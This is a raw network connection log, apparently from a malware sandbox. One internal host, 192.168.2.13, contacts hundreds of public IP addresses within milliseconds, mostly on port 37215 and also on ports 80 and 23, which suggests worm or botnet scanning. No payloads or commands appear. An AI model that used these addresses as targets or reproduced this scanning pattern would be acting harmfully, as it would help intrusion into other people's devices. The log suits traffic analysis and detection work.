Jun 10, 2024 15:37:59.469085932 CEST	30401	37215	192.168.2.13	41.26.207.228
Jun 10, 2024 15:37:59.469089985 CEST	37215	30401	156.83.156.2	192.168.2.13
Jun 10, 2024 15:37:59.469105005 CEST	37215	30401	156.250.165.11	192.168.2.13
Jun 10, 2024 15:37:59.469116926 CEST	37215	30401	41.208.101.69	192.168.2.13
Jun 10, 2024 15:37:59.469125986 CEST	30401	37215	192.168.2.13	156.83.156.2
Jun 10, 2024 15:37:59.469127893 CEST	37215	30401	197.62.20.172	192.168.2.13
Jun 10, 2024 15:37:59.469141006 CEST	30401	37215	192.168.2.13	156.34.170.133
Jun 10, 2024 15:37:59.469141960 CEST	30401	37215	192.168.2.13	41.208.101.69
Jun 10, 2024 15:37:59.469141006 CEST	30401	37215	192.168.2.13	156.250.165.11
Jun 10, 2024 15:37:59.469141006 CEST	37215	30401	197.206.82.162	192.168.2.13
Jun 10, 2024 15:37:59.469156981 CEST	37215	30401	156.217.241.17	192.168.2.13
Jun 10, 2024 15:37:59.469180107 CEST	37215	30401	41.242.64.11	192.168.2.13
Jun 10, 2024 15:37:59.469191074 CEST	37215	30401	156.43.62.25	192.168.2.13
Jun 10, 2024 15:37:59.469193935 CEST	30401	37215	192.168.2.13	156.217.241.17
Jun 10, 2024 15:37:59.469202995 CEST	37215	30401	197.243.98.147	192.168.2.13
Jun 10, 2024 15:37:59.469213009 CEST	30401	37215	192.168.2.13	197.44.169.119
Jun 10, 2024 15:37:59.469213009 CEST	30401	37215	192.168.2.13	197.42.122.158
Jun 10, 2024 15:37:59.469213009 CEST	30401	37215	192.168.2.13	41.9.224.168
Jun 10, 2024 15:37:59.469213009 CEST	30401	37215	192.168.2.13	197.62.20.172
Jun 10, 2024 15:37:59.469213009 CEST	30401	37215	192.168.2.13	197.206.82.162
Jun 10, 2024 15:37:59.469214916 CEST	37215	30401	156.134.115.58	192.168.2.13
Jun 10, 2024 15:37:59.469227076 CEST	30401	37215	192.168.2.13	41.242.64.11
Jun 10, 2024 15:37:59.469228029 CEST	37215	30401	41.225.138.240	192.168.2.13
Jun 10, 2024 15:37:59.469238997 CEST	30401	37215	192.168.2.13	197.243.98.147
Jun 10, 2024 15:37:59.469238997 CEST	30401	37215	192.168.2.13	156.134.115.58
Jun 10, 2024 15:37:59.469239950 CEST	37215	30401	41.2.20.8	192.168.2.13
Jun 10, 2024 15:37:59.469242096 CEST	30401	37215	192.168.2.13	156.43.62.25
Jun 10, 2024 15:37:59.469253063 CEST	37215	30401	197.145.195.51	192.168.2.13
Jun 10, 2024 15:37:59.469264984 CEST	37215	30401	41.246.123.169	192.168.2.13
Jun 10, 2024 15:37:59.469276905 CEST	37215	30401	41.39.101.105	192.168.2.13
Jun 10, 2024 15:37:59.469288111 CEST	37215	30401	41.110.26.159	192.168.2.13
Jun 10, 2024 15:37:59.469289064 CEST	30401	37215	192.168.2.13	41.225.138.240
Jun 10, 2024 15:37:59.469290018 CEST	30401	37215	192.168.2.13	197.145.195.51
Jun 10, 2024 15:37:59.469296932 CEST	30401	37215	192.168.2.13	41.2.20.8
Jun 10, 2024 15:37:59.469300985 CEST	37215	30401	156.208.214.86	192.168.2.13
Jun 10, 2024 15:37:59.469301939 CEST	30401	37215	192.168.2.13	41.246.123.169
Jun 10, 2024 15:37:59.469305992 CEST	30401	37215	192.168.2.13	41.39.101.105
Jun 10, 2024 15:37:59.469314098 CEST	37215	30401	156.250.200.246	192.168.2.13
Jun 10, 2024 15:37:59.469329119 CEST	30401	37215	192.168.2.13	41.110.26.159
Jun 10, 2024 15:37:59.469345093 CEST	30401	37215	192.168.2.13	156.208.214.86
Jun 10, 2024 15:37:59.469355106 CEST	30401	37215	192.168.2.13	156.250.200.246
Jun 10, 2024 15:37:59.469471931 CEST	37215	30401	41.220.135.254	192.168.2.13
Jun 10, 2024 15:37:59.469485998 CEST	37215	30401	197.220.136.108	192.168.2.13
Jun 10, 2024 15:37:59.469497919 CEST	37215	30401	197.113.66.44	192.168.2.13
Jun 10, 2024 15:37:59.469508886 CEST	37215	30401	41.6.252.117	192.168.2.13
Jun 10, 2024 15:37:59.469512939 CEST	30401	37215	192.168.2.13	41.220.135.254
Jun 10, 2024 15:37:59.469520092 CEST	30401	37215	192.168.2.13	197.220.136.108
Jun 10, 2024 15:37:59.469522953 CEST	37215	30401	41.21.117.201	192.168.2.13
Jun 10, 2024 15:37:59.469532967 CEST	30401	37215	192.168.2.13	197.113.66.44
Jun 10, 2024 15:37:59.469536066 CEST	37215	30401	156.226.26.205	192.168.2.13
Jun 10, 2024 15:37:59.469543934 CEST	30401	37215	192.168.2.13	41.6.252.117
Jun 10, 2024 15:37:59.469547987 CEST	37215	30401	41.79.219.224	192.168.2.13
Jun 10, 2024 15:37:59.469553947 CEST	30401	37215	192.168.2.13	41.21.117.201
Jun 10, 2024 15:37:59.469559908 CEST	37215	30401	41.186.201.232	192.168.2.13
Jun 10, 2024 15:37:59.469572067 CEST	37215	30401	41.184.176.92	192.168.2.13
Jun 10, 2024 15:37:59.469575882 CEST	30401	37215	192.168.2.13	156.226.26.205
Jun 10, 2024 15:37:59.469580889 CEST	30401	37215	192.168.2.13	41.79.219.224
Jun 10, 2024 15:37:59.469583988 CEST	37215	30401	197.11.200.238	192.168.2.13
Jun 10, 2024 15:37:59.469598055 CEST	37215	30401	41.62.96.6	192.168.2.13
Jun 10, 2024 15:37:59.469600916 CEST	30401	37215	192.168.2.13	41.186.201.232
Jun 10, 2024 15:37:59.469609976 CEST	30401	37215	192.168.2.13	41.184.176.92
Jun 10, 2024 15:37:59.469609976 CEST	37215	30401	156.216.138.93	192.168.2.13
Jun 10, 2024 15:37:59.469621897 CEST	37215	30401	197.47.174.199	192.168.2.13
Jun 10, 2024 15:37:59.469626904 CEST	30401	37215	192.168.2.13	197.11.200.238
Jun 10, 2024 15:37:59.469635010 CEST	30401	37215	192.168.2.13	41.62.96.6
Jun 10, 2024 15:37:59.469646931 CEST	37215	30401	197.75.161.139	192.168.2.13
Jun 10, 2024 15:37:59.469646931 CEST	30401	37215	192.168.2.13	156.216.138.93
Jun 10, 2024 15:37:59.469654083 CEST	30401	37215	192.168.2.13	197.47.174.199
Jun 10, 2024 15:37:59.469660044 CEST	37215	30401	197.1.253.34	192.168.2.13
Jun 10, 2024 15:37:59.469672918 CEST	37215	30401	41.255.237.62	192.168.2.13
Jun 10, 2024 15:37:59.469683886 CEST	37215	30401	41.215.225.158	192.168.2.13
Jun 10, 2024 15:37:59.469691038 CEST	30401	37215	192.168.2.13	197.75.161.139
Jun 10, 2024 15:37:59.469692945 CEST	30401	37215	192.168.2.13	197.1.253.34
Jun 10, 2024 15:37:59.469696045 CEST	37215	30401	197.246.240.193	192.168.2.13
Jun 10, 2024 15:37:59.469697952 CEST	30401	37215	192.168.2.13	41.255.237.62
Jun 10, 2024 15:37:59.469707966 CEST	37215	30401	197.17.187.161	192.168.2.13
Jun 10, 2024 15:37:59.469712019 CEST	30401	37215	192.168.2.13	41.215.225.158
Jun 10, 2024 15:37:59.469721079 CEST	37215	30401	41.89.242.81	192.168.2.13
Jun 10, 2024 15:37:59.469732046 CEST	30401	37215	192.168.2.13	197.246.240.193
Jun 10, 2024 15:37:59.469733000 CEST	37215	30401	197.9.78.250	192.168.2.13
Jun 10, 2024 15:37:59.469741106 CEST	30401	37215	192.168.2.13	197.17.187.161
Jun 10, 2024 15:37:59.469746113 CEST	37215	30401	197.132.215.10	192.168.2.13
Jun 10, 2024 15:37:59.469758034 CEST	37215	30401	197.184.146.210	192.168.2.13
Jun 10, 2024 15:37:59.469763041 CEST	30401	37215	192.168.2.13	197.9.78.250
Jun 10, 2024 15:37:59.469763994 CEST	30401	37215	192.168.2.13	41.89.242.81
Jun 10, 2024 15:37:59.469769955 CEST	37215	30401	197.130.105.244	192.168.2.13
Jun 10, 2024 15:37:59.469782114 CEST	37215	30401	197.199.212.19	192.168.2.13
Jun 10, 2024 15:37:59.469784021 CEST	30401	37215	192.168.2.13	197.132.215.10
Jun 10, 2024 15:37:59.469784021 CEST	30401	37215	192.168.2.13	197.184.146.210
Jun 10, 2024 15:37:59.469794035 CEST	37215	30401	156.225.131.99	192.168.2.13
Jun 10, 2024 15:37:59.469805956 CEST	30401	37215	192.168.2.13	197.130.105.244
Jun 10, 2024 15:37:59.469805956 CEST	37215	30401	156.199.231.208	192.168.2.13
Jun 10, 2024 15:37:59.469815969 CEST	30401	37215	192.168.2.13	197.199.212.19
Jun 10, 2024 15:37:59.469819069 CEST	37215	30401	41.33.240.142	192.168.2.13
Jun 10, 2024 15:37:59.469827890 CEST	30401	37215	192.168.2.13	156.225.131.99
Jun 10, 2024 15:37:59.469844103 CEST	30401	37215	192.168.2.13	156.199.231.208
Jun 10, 2024 15:37:59.469849110 CEST	30401	37215	192.168.2.13	41.33.240.142
Jun 10, 2024 15:37:59.469871998 CEST	37862	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:59.470227957 CEST	37215	30401	156.196.251.48	192.168.2.13
Jun 10, 2024 15:37:59.470269918 CEST	30401	37215	192.168.2.13	156.196.251.48
Jun 10, 2024 15:37:59.470276117 CEST	37215	30401	197.199.46.195	192.168.2.13
Jun 10, 2024 15:37:59.470288992 CEST	37215	30401	197.13.135.98	192.168.2.13
Jun 10, 2024 15:37:59.470300913 CEST	37215	30401	41.203.183.193	192.168.2.13
Jun 10, 2024 15:37:59.470315933 CEST	37215	30401	197.202.166.92	192.168.2.13
Jun 10, 2024 15:37:59.470319033 CEST	30401	37215	192.168.2.13	197.199.46.195
Jun 10, 2024 15:37:59.470326900 CEST	30401	37215	192.168.2.13	197.13.135.98
Jun 10, 2024 15:37:59.470326900 CEST	30401	37215	192.168.2.13	41.203.183.193
Jun 10, 2024 15:37:59.470329046 CEST	37215	30401	197.180.196.61	192.168.2.13
Jun 10, 2024 15:37:59.470341921 CEST	37215	30401	156.178.146.228	192.168.2.13
Jun 10, 2024 15:37:59.470347881 CEST	30401	37215	192.168.2.13	197.202.166.92
Jun 10, 2024 15:37:59.470354080 CEST	37215	30401	41.91.24.63	192.168.2.13
Jun 10, 2024 15:37:59.470366001 CEST	37215	30401	197.11.184.139	192.168.2.13
Jun 10, 2024 15:37:59.470366955 CEST	30401	37215	192.168.2.13	197.180.196.61
Jun 10, 2024 15:37:59.470376015 CEST	30401	37215	192.168.2.13	156.178.146.228
Jun 10, 2024 15:37:59.470377922 CEST	37215	30401	156.98.7.218	192.168.2.13
Jun 10, 2024 15:37:59.470390081 CEST	37215	30401	41.161.142.37	192.168.2.13
Jun 10, 2024 15:37:59.470391035 CEST	30401	37215	192.168.2.13	41.91.24.63
Jun 10, 2024 15:37:59.470402002 CEST	37215	30401	41.127.147.43	192.168.2.13
Jun 10, 2024 15:37:59.470403910 CEST	30401	37215	192.168.2.13	197.11.184.139
Jun 10, 2024 15:37:59.470413923 CEST	30401	37215	192.168.2.13	156.98.7.218
Jun 10, 2024 15:37:59.470413923 CEST	37215	30401	41.250.248.31	192.168.2.13
Jun 10, 2024 15:37:59.470423937 CEST	30401	37215	192.168.2.13	41.161.142.37
Jun 10, 2024 15:37:59.470427036 CEST	37215	30401	156.141.255.227	192.168.2.13
Jun 10, 2024 15:37:59.470438957 CEST	30401	37215	192.168.2.13	41.127.147.43
Jun 10, 2024 15:37:59.470451117 CEST	23	60058	18.181.89.22	192.168.2.13
Jun 10, 2024 15:37:59.470451117 CEST	30401	37215	192.168.2.13	41.250.248.31
Jun 10, 2024 15:37:59.470453978 CEST	30401	37215	192.168.2.13	156.141.255.227
Jun 10, 2024 15:37:59.470463991 CEST	37215	30401	156.71.112.138	192.168.2.13
Jun 10, 2024 15:37:59.470477104 CEST	37215	30401	41.150.239.92	192.168.2.13
Jun 10, 2024 15:37:59.470489025 CEST	37215	30401	41.122.223.54	192.168.2.13
Jun 10, 2024 15:37:59.470489979 CEST	60058	23	192.168.2.13	18.181.89.22
Jun 10, 2024 15:37:59.470498085 CEST	30401	37215	192.168.2.13	156.71.112.138
Jun 10, 2024 15:37:59.470501900 CEST	37215	30401	41.177.203.192	192.168.2.13
Jun 10, 2024 15:37:59.470508099 CEST	30401	37215	192.168.2.13	41.150.239.92
Jun 10, 2024 15:37:59.470515013 CEST	37215	30401	41.132.45.190	192.168.2.13
Jun 10, 2024 15:37:59.470525026 CEST	30401	37215	192.168.2.13	41.122.223.54
Jun 10, 2024 15:37:59.470526934 CEST	37215	30401	156.6.49.188	192.168.2.13
Jun 10, 2024 15:37:59.470539093 CEST	30401	37215	192.168.2.13	41.177.203.192
Jun 10, 2024 15:37:59.470539093 CEST	37215	30401	197.62.96.54	192.168.2.13
Jun 10, 2024 15:37:59.470551968 CEST	37215	30401	156.43.7.47	192.168.2.13
Jun 10, 2024 15:37:59.470554113 CEST	30401	37215	192.168.2.13	41.132.45.190
Jun 10, 2024 15:37:59.470565081 CEST	37215	30401	197.143.115.183	192.168.2.13
Jun 10, 2024 15:37:59.470567942 CEST	30401	37215	192.168.2.13	156.6.49.188
Jun 10, 2024 15:37:59.470577002 CEST	37215	30401	156.58.68.98	192.168.2.13
Jun 10, 2024 15:37:59.470586061 CEST	30401	37215	192.168.2.13	156.43.7.47
Jun 10, 2024 15:37:59.470587969 CEST	37215	30401	197.2.192.34	192.168.2.13
Jun 10, 2024 15:37:59.470599890 CEST	37215	30401	197.104.71.105	192.168.2.13
Jun 10, 2024 15:37:59.470607996 CEST	30401	37215	192.168.2.13	156.58.68.98
Jun 10, 2024 15:37:59.470628977 CEST	30401	37215	192.168.2.13	197.143.115.183
Jun 10, 2024 15:37:59.470635891 CEST	30401	37215	192.168.2.13	197.62.96.54
Jun 10, 2024 15:37:59.470643044 CEST	30401	37215	192.168.2.13	197.104.71.105
Jun 10, 2024 15:37:59.470643044 CEST	30401	37215	192.168.2.13	197.2.192.34
Jun 10, 2024 15:37:59.471035004 CEST	37215	30401	156.182.169.40	192.168.2.13
Jun 10, 2024 15:37:59.471059084 CEST	37215	30401	197.224.180.132	192.168.2.13
Jun 10, 2024 15:37:59.471071959 CEST	37215	30401	41.56.135.119	192.168.2.13
Jun 10, 2024 15:37:59.471076965 CEST	30401	37215	192.168.2.13	156.182.169.40
Jun 10, 2024 15:37:59.471088886 CEST	30401	37215	192.168.2.13	197.224.180.132
Jun 10, 2024 15:37:59.471088886 CEST	37215	30401	41.242.31.92	192.168.2.13
Jun 10, 2024 15:37:59.471101999 CEST	37215	30401	41.61.206.36	192.168.2.13
Jun 10, 2024 15:37:59.471112013 CEST	30401	37215	192.168.2.13	41.56.135.119
Jun 10, 2024 15:37:59.471113920 CEST	37215	30401	197.168.50.142	192.168.2.13
Jun 10, 2024 15:37:59.471124887 CEST	30401	37215	192.168.2.13	41.242.31.92
Jun 10, 2024 15:37:59.471126080 CEST	37215	30401	41.240.113.150	192.168.2.13
Jun 10, 2024 15:37:59.471138954 CEST	37215	30401	197.50.184.23	192.168.2.13
Jun 10, 2024 15:37:59.471148968 CEST	30401	37215	192.168.2.13	41.61.206.36
Jun 10, 2024 15:37:59.471148968 CEST	30401	37215	192.168.2.13	197.168.50.142
Jun 10, 2024 15:37:59.471151114 CEST	37215	30401	156.216.202.70	192.168.2.13
Jun 10, 2024 15:37:59.471163988 CEST	37215	30401	197.167.23.140	192.168.2.13
Jun 10, 2024 15:37:59.471164942 CEST	30401	37215	192.168.2.13	41.240.113.150
Jun 10, 2024 15:37:59.471164942 CEST	30401	37215	192.168.2.13	197.50.184.23
Jun 10, 2024 15:37:59.471174955 CEST	30401	37215	192.168.2.13	156.216.202.70
Jun 10, 2024 15:37:59.471175909 CEST	37215	30401	197.7.79.198	192.168.2.13
Jun 10, 2024 15:37:59.471189976 CEST	37215	30401	41.14.134.213	192.168.2.13
Jun 10, 2024 15:37:59.471198082 CEST	30401	37215	192.168.2.13	197.167.23.140
Jun 10, 2024 15:37:59.471200943 CEST	37215	30401	197.73.113.32	192.168.2.13
Jun 10, 2024 15:37:59.471206903 CEST	30401	37215	192.168.2.13	197.7.79.198
Jun 10, 2024 15:37:59.471214056 CEST	37215	30401	41.65.43.27	192.168.2.13
Jun 10, 2024 15:37:59.471225977 CEST	37215	30401	197.72.226.112	192.168.2.13
Jun 10, 2024 15:37:59.471231937 CEST	30401	37215	192.168.2.13	197.73.113.32
Jun 10, 2024 15:37:59.471236944 CEST	37215	30401	197.65.112.200	192.168.2.13
Jun 10, 2024 15:37:59.471242905 CEST	30401	37215	192.168.2.13	41.14.134.213
Jun 10, 2024 15:37:59.471247911 CEST	30401	37215	192.168.2.13	41.65.43.27
Jun 10, 2024 15:37:59.471261024 CEST	30401	37215	192.168.2.13	197.65.112.200
Jun 10, 2024 15:37:59.471261978 CEST	37215	30401	41.126.198.181	192.168.2.13
Jun 10, 2024 15:37:59.471261978 CEST	30401	37215	192.168.2.13	197.72.226.112
Jun 10, 2024 15:37:59.471275091 CEST	37215	30401	41.216.45.208	192.168.2.13
Jun 10, 2024 15:37:59.471286058 CEST	37215	30401	156.6.131.199	192.168.2.13
Jun 10, 2024 15:37:59.471296072 CEST	30401	37215	192.168.2.13	41.126.198.181
Jun 10, 2024 15:37:59.471297979 CEST	37215	30401	197.243.159.59	192.168.2.13
Jun 10, 2024 15:37:59.471309900 CEST	30401	37215	192.168.2.13	41.216.45.208
Jun 10, 2024 15:37:59.471312046 CEST	37215	30401	156.5.176.252	192.168.2.13
Jun 10, 2024 15:37:59.471318007 CEST	30401	37215	192.168.2.13	156.6.131.199
Jun 10, 2024 15:37:59.471324921 CEST	37215	30401	41.14.251.141	192.168.2.13
Jun 10, 2024 15:37:59.471332073 CEST	30401	37215	192.168.2.13	197.243.159.59
Jun 10, 2024 15:37:59.471338034 CEST	37215	30401	41.117.120.124	192.168.2.13
Jun 10, 2024 15:37:59.471347094 CEST	30401	37215	192.168.2.13	156.5.176.252
Jun 10, 2024 15:37:59.471349955 CEST	37215	30401	41.22.121.144	192.168.2.13
Jun 10, 2024 15:37:59.471357107 CEST	30401	37215	192.168.2.13	41.14.251.141
Jun 10, 2024 15:37:59.471360922 CEST	37215	30401	197.131.81.43	192.168.2.13
Jun 10, 2024 15:37:59.471374035 CEST	37215	30401	156.26.209.75	192.168.2.13
Jun 10, 2024 15:37:59.471374035 CEST	30401	37215	192.168.2.13	41.117.120.124
Jun 10, 2024 15:37:59.471374035 CEST	30401	37215	192.168.2.13	41.22.121.144
Jun 10, 2024 15:37:59.471385956 CEST	37215	30401	41.23.78.65	192.168.2.13
Jun 10, 2024 15:37:59.471398115 CEST	37215	30401	197.215.195.191	192.168.2.13
Jun 10, 2024 15:37:59.471411943 CEST	30401	37215	192.168.2.13	197.131.81.43
Jun 10, 2024 15:37:59.471415997 CEST	30401	37215	192.168.2.13	156.26.209.75
Jun 10, 2024 15:37:59.471416950 CEST	30401	37215	192.168.2.13	41.23.78.65
Jun 10, 2024 15:37:59.471487045 CEST	30401	37215	192.168.2.13	197.215.195.191
Jun 10, 2024 15:37:59.471574068 CEST	37215	30401	156.168.9.140	192.168.2.13
Jun 10, 2024 15:37:59.471599102 CEST	37215	30401	156.68.38.250	192.168.2.13
Jun 10, 2024 15:37:59.471605062 CEST	30401	37215	192.168.2.13	156.168.9.140
Jun 10, 2024 15:37:59.471613884 CEST	37215	30401	197.120.117.53	192.168.2.13
Jun 10, 2024 15:37:59.471626997 CEST	37215	30401	41.80.129.143	192.168.2.13
Jun 10, 2024 15:37:59.471637011 CEST	30401	37215	192.168.2.13	156.68.38.250
Jun 10, 2024 15:37:59.471647978 CEST	30401	37215	192.168.2.13	197.120.117.53
Jun 10, 2024 15:37:59.471659899 CEST	30401	37215	192.168.2.13	41.80.129.143
Jun 10, 2024 15:37:59.471760988 CEST	37215	30401	156.176.122.75	192.168.2.13
Jun 10, 2024 15:37:59.471772909 CEST	80	16833	2.100.121.174	192.168.2.13
Jun 10, 2024 15:37:59.471785069 CEST	37215	30401	156.87.251.128	192.168.2.13
Jun 10, 2024 15:37:59.471796989 CEST	80	16833	166.187.155.48	192.168.2.13
Jun 10, 2024 15:37:59.471806049 CEST	30401	37215	192.168.2.13	156.176.122.75
Jun 10, 2024 15:37:59.471807003 CEST	16833	80	192.168.2.13	2.100.121.174
Jun 10, 2024 15:37:59.471808910 CEST	37215	30401	197.233.55.216	192.168.2.13
Jun 10, 2024 15:37:59.471815109 CEST	30401	37215	192.168.2.13	156.87.251.128
Jun 10, 2024 15:37:59.471822023 CEST	80	16833	164.56.42.141	192.168.2.13
Jun 10, 2024 15:37:59.471828938 CEST	16833	80	192.168.2.13	166.187.155.48
Jun 10, 2024 15:37:59.471834898 CEST	80	16833	118.169.27.116	192.168.2.13
Jun 10, 2024 15:37:59.471847057 CEST	37215	30401	197.32.219.223	192.168.2.13
Jun 10, 2024 15:37:59.471847057 CEST	30401	37215	192.168.2.13	197.233.55.216
Jun 10, 2024 15:37:59.471858025 CEST	37215	30401	197.187.28.60	192.168.2.13
Jun 10, 2024 15:37:59.471860886 CEST	16833	80	192.168.2.13	164.56.42.141
Jun 10, 2024 15:37:59.471869946 CEST	80	16833	121.64.98.238	192.168.2.13
Jun 10, 2024 15:37:59.471882105 CEST	80	16833	156.100.89.106	192.168.2.13
Jun 10, 2024 15:37:59.471904993 CEST	37215	30401	41.177.170.150	192.168.2.13
Jun 10, 2024 15:37:59.471911907 CEST	16833	80	192.168.2.13	118.169.27.116
Jun 10, 2024 15:37:59.471915007 CEST	30401	37215	192.168.2.13	197.32.219.223
Jun 10, 2024 15:37:59.471915007 CEST	30401	37215	192.168.2.13	197.187.28.60
Jun 10, 2024 15:37:59.471915007 CEST	16833	80	192.168.2.13	121.64.98.238
Jun 10, 2024 15:37:59.471916914 CEST	80	16833	88.193.43.217	192.168.2.13
Jun 10, 2024 15:37:59.471920013 CEST	16833	80	192.168.2.13	156.100.89.106
Jun 10, 2024 15:37:59.471930027 CEST	80	16833	20.140.80.154	192.168.2.13
Jun 10, 2024 15:37:59.471940994 CEST	30401	37215	192.168.2.13	41.177.170.150
Jun 10, 2024 15:37:59.471940994 CEST	37215	30401	41.4.129.122	192.168.2.13
Jun 10, 2024 15:37:59.471947908 CEST	16833	80	192.168.2.13	88.193.43.217
Jun 10, 2024 15:37:59.471954107 CEST	80	16833	14.188.180.137	192.168.2.13
Jun 10, 2024 15:37:59.471966982 CEST	37215	30401	197.255.9.221	192.168.2.13
Jun 10, 2024 15:37:59.471975088 CEST	16833	80	192.168.2.13	20.140.80.154
Jun 10, 2024 15:37:59.471977949 CEST	37215	30401	156.94.166.164	192.168.2.13
Jun 10, 2024 15:37:59.471981049 CEST	30401	37215	192.168.2.13	41.4.129.122
Jun 10, 2024 15:37:59.471990108 CEST	37215	30401	156.182.228.7	192.168.2.13
Jun 10, 2024 15:37:59.471992016 CEST	16833	80	192.168.2.13	14.188.180.137
Jun 10, 2024 15:37:59.472002029 CEST	37215	30401	41.176.169.70	192.168.2.13
Jun 10, 2024 15:37:59.472002983 CEST	30401	37215	192.168.2.13	197.255.9.221
Jun 10, 2024 15:37:59.472007990 CEST	30401	37215	192.168.2.13	156.94.166.164
Jun 10, 2024 15:37:59.472014904 CEST	80	16833	217.46.221.207	192.168.2.13
Jun 10, 2024 15:37:59.472019911 CEST	30401	37215	192.168.2.13	156.182.228.7
Jun 10, 2024 15:37:59.472027063 CEST	37215	30401	156.161.72.131	192.168.2.13
Jun 10, 2024 15:37:59.472038984 CEST	37215	30401	156.128.96.57	192.168.2.13
Jun 10, 2024 15:37:59.472048044 CEST	16833	80	192.168.2.13	217.46.221.207
Jun 10, 2024 15:37:59.472049952 CEST	37215	30401	41.137.88.51	192.168.2.13
Jun 10, 2024 15:37:59.472074986 CEST	30401	37215	192.168.2.13	156.128.96.57
Jun 10, 2024 15:37:59.472081900 CEST	30401	37215	192.168.2.13	41.137.88.51
Jun 10, 2024 15:37:59.472086906 CEST	30401	37215	192.168.2.13	41.176.169.70
Jun 10, 2024 15:37:59.472090960 CEST	30401	37215	192.168.2.13	156.161.72.131
Jun 10, 2024 15:37:59.472093105 CEST	60882	37215	192.168.2.13	41.1.16.245
Jun 10, 2024 15:37:59.472253084 CEST	37215	30401	197.225.227.184	192.168.2.13
Jun 10, 2024 15:37:59.472265959 CEST	37215	30401	156.144.108.105	192.168.2.13
Jun 10, 2024 15:37:59.472278118 CEST	37215	30401	156.29.226.172	192.168.2.13
Jun 10, 2024 15:37:59.472291946 CEST	30401	37215	192.168.2.13	197.225.227.184
Jun 10, 2024 15:37:59.472291946 CEST	30401	37215	192.168.2.13	156.144.108.105
Jun 10, 2024 15:37:59.472301006 CEST	80	16833	64.252.118.141	192.168.2.13
Jun 10, 2024 15:37:59.472311020 CEST	30401	37215	192.168.2.13	156.29.226.172
Jun 10, 2024 15:37:59.472313881 CEST	37215	30401	197.208.92.77	192.168.2.13
Jun 10, 2024 15:37:59.472326040 CEST	80	16833	192.4.60.49	192.168.2.13
Jun 10, 2024 15:37:59.472337008 CEST	16833	80	192.168.2.13	64.252.118.141
Jun 10, 2024 15:37:59.472337961 CEST	80	16833	101.201.43.179	192.168.2.13
Jun 10, 2024 15:37:59.472352028 CEST	80	16833	182.143.50.226	192.168.2.13
Jun 10, 2024 15:37:59.472352028 CEST	30401	37215	192.168.2.13	197.208.92.77
Jun 10, 2024 15:37:59.472364902 CEST	16833	80	192.168.2.13	192.4.60.49
Jun 10, 2024 15:37:59.472364902 CEST	16833	80	192.168.2.13	101.201.43.179
Jun 10, 2024 15:37:59.472366095 CEST	37215	30401	41.103.200.147	192.168.2.13
Jun 10, 2024 15:37:59.472378969 CEST	37215	30401	197.117.75.155	192.168.2.13
Jun 10, 2024 15:37:59.472385883 CEST	16833	80	192.168.2.13	182.143.50.226
Jun 10, 2024 15:37:59.472390890 CEST	37215	30401	41.88.237.147	192.168.2.13
Jun 10, 2024 15:37:59.472397089 CEST	30401	37215	192.168.2.13	41.103.200.147
Jun 10, 2024 15:37:59.472403049 CEST	37215	30401	41.125.23.167	192.168.2.13
Jun 10, 2024 15:37:59.472415924 CEST	30401	37215	192.168.2.13	197.117.75.155
Jun 10, 2024 15:37:59.472415924 CEST	80	16833	49.64.20.72	192.168.2.13
Jun 10, 2024 15:37:59.472419024 CEST	30401	37215	192.168.2.13	41.88.237.147
Jun 10, 2024 15:37:59.472428083 CEST	80	16833	183.26.223.73	192.168.2.13
Jun 10, 2024 15:37:59.472435951 CEST	30401	37215	192.168.2.13	41.125.23.167
Jun 10, 2024 15:37:59.472439051 CEST	37215	30401	156.133.17.150	192.168.2.13
Jun 10, 2024 15:37:59.472449064 CEST	16833	80	192.168.2.13	49.64.20.72
Jun 10, 2024 15:37:59.472450972 CEST	37215	30401	41.92.7.216	192.168.2.13
Jun 10, 2024 15:37:59.472461939 CEST	37215	30401	197.249.37.1	192.168.2.13
Jun 10, 2024 15:37:59.472465992 CEST	16833	80	192.168.2.13	183.26.223.73
Jun 10, 2024 15:37:59.472485065 CEST	30401	37215	192.168.2.13	41.92.7.216
Jun 10, 2024 15:37:59.472492933 CEST	30401	37215	192.168.2.13	197.249.37.1
Jun 10, 2024 15:37:59.472497940 CEST	80	16833	198.58.93.15	192.168.2.13
Jun 10, 2024 15:37:59.472511053 CEST	30401	37215	192.168.2.13	156.133.17.150
Jun 10, 2024 15:37:59.472511053 CEST	80	16833	92.81.126.145	192.168.2.13
Jun 10, 2024 15:37:59.472523928 CEST	80	16833	153.240.121.133	192.168.2.13
Jun 10, 2024 15:37:59.472532034 CEST	16833	80	192.168.2.13	198.58.93.15
Jun 10, 2024 15:37:59.472534895 CEST	37215	30401	197.172.226.233	192.168.2.13
Jun 10, 2024 15:37:59.472539902 CEST	16833	80	192.168.2.13	92.81.126.145
Jun 10, 2024 15:37:59.472547054 CEST	80	16833	8.180.244.27	192.168.2.13
Jun 10, 2024 15:37:59.472559929 CEST	80	16833	96.202.192.87	192.168.2.13
Jun 10, 2024 15:37:59.472570896 CEST	37215	30401	156.183.150.41	192.168.2.13
Jun 10, 2024 15:37:59.472579002 CEST	16833	80	192.168.2.13	8.180.244.27
Jun 10, 2024 15:37:59.472583055 CEST	80	16833	52.143.255.163	192.168.2.13
Jun 10, 2024 15:37:59.472594976 CEST	80	16833	58.105.170.122	192.168.2.13
Jun 10, 2024 15:37:59.472595930 CEST	16833	80	192.168.2.13	96.202.192.87
Jun 10, 2024 15:37:59.472603083 CEST	30401	37215	192.168.2.13	156.183.150.41
Jun 10, 2024 15:37:59.472606897 CEST	80	16833	89.145.214.210	192.168.2.13
Jun 10, 2024 15:37:59.472615957 CEST	16833	80	192.168.2.13	52.143.255.163
Jun 10, 2024 15:37:59.472618103 CEST	16833	80	192.168.2.13	153.240.121.133
Jun 10, 2024 15:37:59.472619057 CEST	80	16833	175.220.177.145	192.168.2.13
Jun 10, 2024 15:37:59.472623110 CEST	30401	37215	192.168.2.13	197.172.226.233
Jun 10, 2024 15:37:59.472635984 CEST	16833	80	192.168.2.13	58.105.170.122
Jun 10, 2024 15:37:59.472656012 CEST	16833	80	192.168.2.13	89.145.214.210
Jun 10, 2024 15:37:59.472664118 CEST	16833	80	192.168.2.13	175.220.177.145
Jun 10, 2024 15:37:59.472872972 CEST	37215	30401	41.229.165.243	192.168.2.13
Jun 10, 2024 15:37:59.472897053 CEST	80	16833	63.223.27.64	192.168.2.13
Jun 10, 2024 15:37:59.472908020 CEST	80	16833	46.124.133.59	192.168.2.13
Jun 10, 2024 15:37:59.472929955 CEST	16833	80	192.168.2.13	63.223.27.64
Jun 10, 2024 15:37:59.472930908 CEST	30401	37215	192.168.2.13	41.229.165.243
Jun 10, 2024 15:37:59.472934008 CEST	16833	80	192.168.2.13	46.124.133.59
